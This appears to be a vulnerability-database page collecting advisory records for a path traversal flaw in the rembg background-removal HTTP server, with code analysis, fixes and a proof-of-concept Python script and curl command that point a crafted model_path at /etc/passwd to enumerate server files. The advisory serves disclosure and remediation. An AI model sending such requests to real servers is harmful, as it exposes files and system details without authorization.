Vulnerability-Lookup

PYSEC-2026-2274

Vulnerability from pysec - Published: 2026-04-10 17:17 - Updated: 2026-07-13 05:51

Details

Rembg is a tool to remove images background. Prior to 2.0.75, a path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. This vulnerability is fixed in 2.0.75.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Impacted products

Name	purl
rembg	pkg:pypi/rembg

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "rembg",
        "purl": "pkg:pypi/rembg"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.75"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.28",
        "2.0.29",
        "2.0.30",
        "2.0.31",
        "2.0.32",
        "2.0.33",
        "2.0.34",
        "2.0.35",
        "2.0.36",
        "2.0.37",
        "2.0.38",
        "2.0.39",
        "2.0.40",
        "2.0.41",
        "2.0.43",
        "2.0.44",
        "2.0.45",
        "2.0.46",
        "2.0.47",
        "2.0.48",
        "2.0.49",
        "2.0.50",
        "2.0.51",
        "2.0.52",
        "2.0.53",
        "2.0.54",
        "2.0.55",
        "2.0.56",
        "2.0.57",
        "2.0.58",
        "2.0.59",
        "2.0.60",
        "2.0.61",
        "2.0.62",
        "2.0.63",
        "2.0.64",
        "2.0.65",
        "2.0.66",
        "2.0.67",
        "2.0.68",
        "2.0.69",
        "2.0.70",
        "2.0.71",
        "2.0.72",
        "2.0.73",
        "2.0.74"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40086",
    "GHSA-3wqj-33cg-xc48"
  ],
  "details": "Rembg is a tool to remove images background. Prior to 2.0.75, a path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server\u0027s filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. This vulnerability is fixed in 2.0.75.",
  "id": "PYSEC-2026-2274",
  "modified": "2026-07-13T05:51:17.591331Z",
  "published": "2026-04-10T17:17:12.663Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/danielgatis/rembg/releases/tag/v2.0.75"
    },
    {
      "type": "FIX",
      "url": "https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-40086 (GCVE-0-2026-40086)

Vulnerability from cvelistv5 – Published: 2026-04-10 16:16 – Updated: 2026-04-10 18:29

Title

Rembg has a Path Traversal via Custom Model Loading

Summary

Severity

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-04-10 18:29 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73 - External Control of File Name or Path

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/danielgatis/rembg/security/adv…	x_refsource_CONFIRM
https://github.com/danielgatis/rembg/commit/7c76d…	x_refsource_MISC
https://github.com/danielgatis/rembg/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
danielgatis	rembg	Affected: < 2.0.75

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-40086",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-10T18:29:11.164475Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-10T18:29:27.832Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "rembg",
          "vendor": "danielgatis",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.75"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Rembg is a tool to remove images background. Prior to 2.0.75, a path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server\u0027s filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. This vulnerability is fixed in 2.0.75."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "CWE-73: External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-10T16:16:28.850Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48"
        },
        {
          "name": "https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273"
        },
        {
          "name": "https://github.com/danielgatis/rembg/releases/tag/v2.0.75",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/danielgatis/rembg/releases/tag/v2.0.75"
        }
      ],
      "source": {
        "advisory": "GHSA-3wqj-33cg-xc48",
        "discovery": "UNKNOWN"
      },
      "title": "Rembg has a Path Traversal via Custom Model Loading"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-40086",
    "datePublished": "2026-04-10T16:16:28.850Z",
    "dateReserved": "2026-04-09T00:39:12.206Z",
    "dateUpdated": "2026-04-10T18:29:27.832Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-3WQJ-33CG-XC48

Vulnerability from github – Published: 2026-04-10 20:00 – Updated: 2026-04-10 20:00

Summary

Rembg has a Path Traversal via Custom Model Loading

Details

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

Python 3.10+
rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")

    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"

    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )

    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

Server Log Message	What It Proves
`Load model from /etc/passwd failed:Protobuf parsing failed`	✅ File exists and was read by onnxruntime
`Load model from /etc/shadow failed:Permission denied`	✅ File exists but process lacks permission
`Load model from /nonexistent/... failed. File doesn't exist`	✅ File does not exist - enables enumeration

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that: 1. The attacker-controlled path was passed through without validation 2. onnxruntime.InferenceSession() attempted to read the file contents 3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

All users running rembg s (HTTP server mode)
Cloud deployments where rembg is exposed as an API service
Docker containers running rembg server

Attack Scenarios

Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
Credential Discovery: Attacker checks for common credential files
Infrastructure Mapping: Attacker discovers installed software and system configuration
Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

CLI usage (rembg i, rembg p) - users already have local file access
Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))

    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path

    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

CWE-22: Improper Limitation of a Pathname to a Restricted Directory
CWE-73: External Control of File Name or Path
OWASP Path Traversal: Path Traversal Attack

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rembg"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.75"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40086"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T20:00:12Z",
    "nvd_published_at": "2026-04-10T17:17:12Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server\u0027s filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.\n\n**CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)\n\n---\n\n## Details\n\n### Vulnerable Code Flow\n\nThe vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`).\n\n**1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202)\n\n```python\ndef im_without_bg(content: bytes, commons: CommonQueryParams) -\u003e Response:\n    kwargs = {}\n    if commons.extras:\n        try:\n            kwargs.update(json.loads(commons.extras))  # \u274c No validation\n        except Exception:\n            pass\n    # ...\n    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs\n```\n\nThe `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation.\n\n**2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83)\n\n```python\n@classmethod\ndef download_models(cls, *args, **kwargs):\n    model_path = kwargs.get(\"model_path\")\n    if model_path is None:\n        raise ValueError(\"model_path is required\")\n    return os.path.abspath(os.path.expanduser(model_path))  # \u274c No path validation\n```\n\nThe `model_path` is returned with tilde expansion but no validation against path traversal.\n\n**3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38)\n\n```python\nself.inner_session = ort.InferenceSession(\n    str(self.__class__.download_models(*args, **kwargs)),  # Reads file\n    # ...\n)\n```\n\nThe path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file.\n\n### Root Cause\n\nThe custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Python 3.10+\n- rembg installed with CLI support: `pip install \"rembg[cpu,cli]\"`\n\n### Step 1: Start the Vulnerable Server\n\nOpen a terminal and run:\n\n```bash\nrembg s --host 0.0.0.0 --port 7000\n```\n\nYou should see output like:\n```\nTo access the API documentation, go to http://localhost:7000/api\nTo access the UI, go to http://localhost:7000\n```\n\n### Step 2: Send the Exploit Request\n\nOpen a **second terminal** and run this Python script:\n\n```python\nimport requests\nimport json\nimport urllib.parse\nfrom io import BytesIO\n\n# Minimal valid 1x1 PNG image (required for the request)\nMINIMAL_PNG = bytes([\n    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,\n    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,\n    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,\n    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,\n    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,\n    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,\n    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,\n    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,\n    0x44, 0xAE, 0x42, 0x60, 0x82\n])\n\n# Target paths to test\ntest_paths = [\n    \"/etc/passwd\",           # System file (should exist)\n    \"/nonexistent/file.txt\", # Non-existent file\n]\n\nfor path in test_paths:\n    print(f\"\\n[*] Testing path: {path}\")\n    \n    # Build request - extras must be in URL query string\n    extras = json.dumps({\"model_path\": path})\n    url = f\"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}\"\n    \n    response = requests.post(\n        url,\n        files={\"file\": (\"test.png\", BytesIO(MINIMAL_PNG), \"image/png\")},\n        data={\"model\": \"u2net_custom\"},\n        timeout=30\n    )\n    \n    print(f\"    Status: {response.status_code}\")\n    print(f\"    Response: {response.text[:100]}\")\n```\n\nOr use **curl** directly:\n\n```bash\n# Create a minimal PNG file\npython3 -c \"import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))\" \u003e /tmp/test.png\n\n# Send exploit request targeting /etc/passwd\ncurl -X POST \u0027http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D\u0027 \\\n  -F \"model=u2net_custom\" \\\n  -F \"file=@/tmp/test.png\"\n```\n\n### Step 3: Verify in Server Logs\n\nGo back to the **first terminal** where the server is running. You will see error messages like:\n\n```\nonnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: \n[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.\n```\n\n```\nonnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: \n[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn\u0027t exist\n```\n\n### Understanding the Results\n\n| Server Log Message | What It Proves |\n|-------------------|----------------|\n| `Load model from /etc/passwd failed:Protobuf parsing failed` | \u2705 File **exists and was read** by onnxruntime |\n| `Load model from /etc/shadow failed:Permission denied` | \u2705 File **exists** but process lacks permission |\n| `Load model from /nonexistent/... failed. File doesn\u0027t exist` | \u2705 File **does not exist** - enables enumeration |\n\n**The key proof:** The message `\"Load model from /etc/passwd failed:Protobuf parsing failed\"` proves that:\n1. The attacker-controlled path was passed through without validation\n2. `onnxruntime.InferenceSession()` attempted to **read the file contents**\n3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf\n\n---\n\n## Impact\n\n### Who is Affected?\n\n- **All users** running `rembg s` (HTTP server mode)\n- **Cloud deployments** where rembg is exposed as an API service\n- **Docker containers** running rembg server\n\n### Attack Scenarios\n\n1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files)\n2. **Credential Discovery**: Attacker checks for common credential files\n3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration\n4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory\n\n### What is NOT Affected?\n\n- CLI usage (`rembg i`, `rembg p`) - users already have local file access\n- Library usage - developers control the input\n\n---\n\n## Recommended Fix\n\n### Option 1: Disable Custom Models for HTTP API (Recommended)\n\nRemove custom model types from the HTTP API session list:\n\n```python\n# In s_command.py, filter out custom models\nALLOWED_HTTP_MODELS = [\n    name for name in sessions_names \n    if not name.endswith(\u0027_custom\u0027)\n]\n\n# Use ALLOWED_HTTP_MODELS in the model parameter regex\nmodel: str = Query(\n    regex=r\"(\" + \"|\".join(ALLOWED_HTTP_MODELS) + \")\",\n    default=\"u2net\",\n)\n```\n\n### Option 2: Validate model_path Against Allowlist\n\nIf custom models must be supported via HTTP:\n\n```python\nimport os\n\nALLOWED_MODEL_DIRS = [\n    os.path.expanduser(\"~/.u2net\"),\n    \"/app/models\",  # or your designated model directory\n]\n\ndef validate_model_path(path: str) -\u003e str:\n    \"\"\"Validate model path is within allowed directories.\"\"\"\n    abs_path = os.path.abspath(os.path.expanduser(path))\n    \n    for allowed_dir in ALLOWED_MODEL_DIRS:\n        allowed_abs = os.path.abspath(allowed_dir)\n        if abs_path.startswith(allowed_abs + os.sep):\n            return abs_path\n    \n    raise ValueError(f\"model_path must be within allowed directories\")\n```\n\n### Option 3: Document Security Considerations\n\nAt minimum, add security warnings to the documentation:\n\n```markdown\n\u26a0\ufe0f **Security Warning**: When running `rembg s` in production:\n- Do NOT expose the server directly to the internet\n- Use a reverse proxy with authentication\n- Consider disabling custom model support\n```\n\n---\n\n## References\n\n- **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal)\n\n---",
  "id": "GHSA-3wqj-33cg-xc48",
  "modified": "2026-04-10T20:00:12Z",
  "published": "2026-04-10T20:00:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/danielgatis/rembg/security/advisories/GHSA-3wqj-33cg-xc48"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40086"
    },
    {
      "type": "WEB",
      "url": "https://github.com/danielgatis/rembg/commit/7c76d3cdc5757ffbda6a76664b24cfbecdb80273"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/danielgatis/rembg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/danielgatis/rembg/releases/tag/v2.0.75"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rembg has a Path Traversal via Custom Model Loading"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

PYSEC-2026-2274

CVE-2026-40086 (GCVE-0-2026-40086)

GHSA-3WQJ-33CG-XC48

Summary

Details

Vulnerable Code Flow

Root Cause

PoC

Prerequisites

Step 1: Start the Vulnerable Server

Step 2: Send the Exploit Request

Step 3: Verify in Server Logs

Understanding the Results

Impact

Who is Affected?

Attack Scenarios

What is NOT Affected?

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Option 2: Validate model_path Against Allowlist

Option 3: Document Security Considerations

References

Tags

Sightings

Nomenclature

Related by attack behaviour